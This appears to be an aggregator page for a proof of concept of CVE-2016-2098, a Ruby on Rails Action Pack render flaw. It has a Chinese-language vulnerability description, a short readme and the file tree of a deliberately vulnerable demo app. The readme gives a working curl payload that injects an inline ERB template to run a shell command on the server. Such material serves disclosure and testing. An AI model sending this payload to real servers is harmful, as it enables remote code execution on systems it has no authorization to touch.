CVE-2016-2098 PoC — Ruby on Rails Action Pack 安全漏洞

Source

https://github.com/CyberDefenseInstitute/PoC_CVE-2016-2098_Rails42

Associated Vulnerability

Title:Ruby on Rails Action Pack 安全漏洞 (CVE-2016-2098)
Description:Ruby on Rails（Rails）是Rails核心团队开发维护的一套基于Ruby语言的开源Web应用框架，它是由大卫-海纳梅尔-韩森从美国37signals公司的项目管理工具Basecamp里分离出来的。Action Pack是其中的一个用于构建和测试MVC Web应用程序的组件。 Ruby on Rails的Action Pack中存在安全漏洞，该漏洞源于‘render’函数没有充分过滤用户提交的输入。远程攻击者可通过向应用程序发送特制的数据利用该漏洞执行任意Ruby代码。以下版本受到影响：Rub

Description

A PoC of CVE-2016-2098 (rails4.2.5.1 / view render)

Readme

# A PoC of CVE-2016-2098

* rails 4.2.5.1  
* view has a vulnerable code  
 app/views/poc/render1.html.erb  
* following command will cause remote code execution  
```$ curl '<your_host>:3000/poc/render1?template\[inline\]=<%25%3d`sleep+5`%25>'```

File Snapshot


 [4.0K]  /data/pocs/77ba3f71a665c6cc930b2fffef737dfcde8f878e
├── [4.0K]  app
│   ├── [4.0K]  assets
│   │   ├── [4.0K]  images
│   │   ├── [4.0K]  javascripts
│   │   │   ├── [ 661]  application.js
│   │   │   └── [ 211]  poc.coffee
│   │   └── [4.0K]  stylesheets
│   │       ├── [ 686]  application.css
│   │       └── [ 174]  poc.scss
│   ├── [4.0K]  controllers
│   │   ├── [ 204]  application_controller.rb
│   │   ├── [4.0K]  concerns
│   │   └── [  68]  poc_controller.rb
│   ├── [4.0K]  helpers
│   │   ├── [  29]  application_helper.rb
│   │   └── [  21]  poc_helper.rb
│   ├── [4.0K]  mailers
│   ├── [4.0K]  models
│   │   └── [4.0K]  concerns
│   └── [4.0K]  views
│       ├── [4.0K]  layouts
│       │   └── [ 311]  application.html.erb
│       └── [4.0K]  poc
│           ├── [  51]  render1.html.erb
│           └── [  10]  _template1.html.erb
├── [4.0K]  bin
│   ├── [ 129]  bundle
│   ├── [ 268]  rails
│   ├── [ 213]  rake
│   ├── [ 805]  setup
│   └── [ 488]  spring
├── [4.0K]  config
│   ├── [1.4K]  application.rb
│   ├── [ 132]  boot.rb
│   ├── [ 552]  database.yml
│   ├── [ 150]  environment.rb
│   ├── [4.0K]  environments
│   │   ├── [1.6K]  development.rb
│   │   ├── [3.2K]  production.rb
│   │   └── [1.7K]  test.rb
│   ├── [4.0K]  initializers
│   │   ├── [ 486]  assets.rb
│   │   ├── [ 404]  backtrace_silencers.rb
│   │   ├── [ 129]  cookies_serializer.rb
│   │   ├── [ 194]  filter_parameter_logging.rb
│   │   ├── [ 647]  inflections.rb
│   │   ├── [ 156]  mime_types.rb
│   │   ├── [ 157]  session_store.rb
│   │   └── [ 517]  wrap_parameters.rb
│   ├── [4.0K]  locales
│   │   └── [ 634]  en.yml
│   ├── [1.6K]  routes.rb
│   └── [ 964]  secrets.yml
├── [ 153]  config.ru
├── [4.0K]  db
│   └── [ 343]  seeds.rb
├── [1.5K]  Gemfile
├── [4.0K]  Gemfile.lock
├── [4.0K]  lib
│   ├── [4.0K]  assets
│   └── [4.0K]  tasks
├── [4.0K]  log
├── [4.0K]  public
│   ├── [1.5K]  404.html
│   ├── [1.5K]  422.html
│   ├── [1.4K]  500.html
│   ├── [   0]  favicon.ico
│   └── [ 202]  robots.txt
├── [ 249]  Rakefile
├── [ 250]  README.md
└── [4.0K]  vendor
    └── [4.0K]  assets
        ├── [4.0K]  javascripts
        └── [4.0K]  stylesheets

29 directories, 45 files

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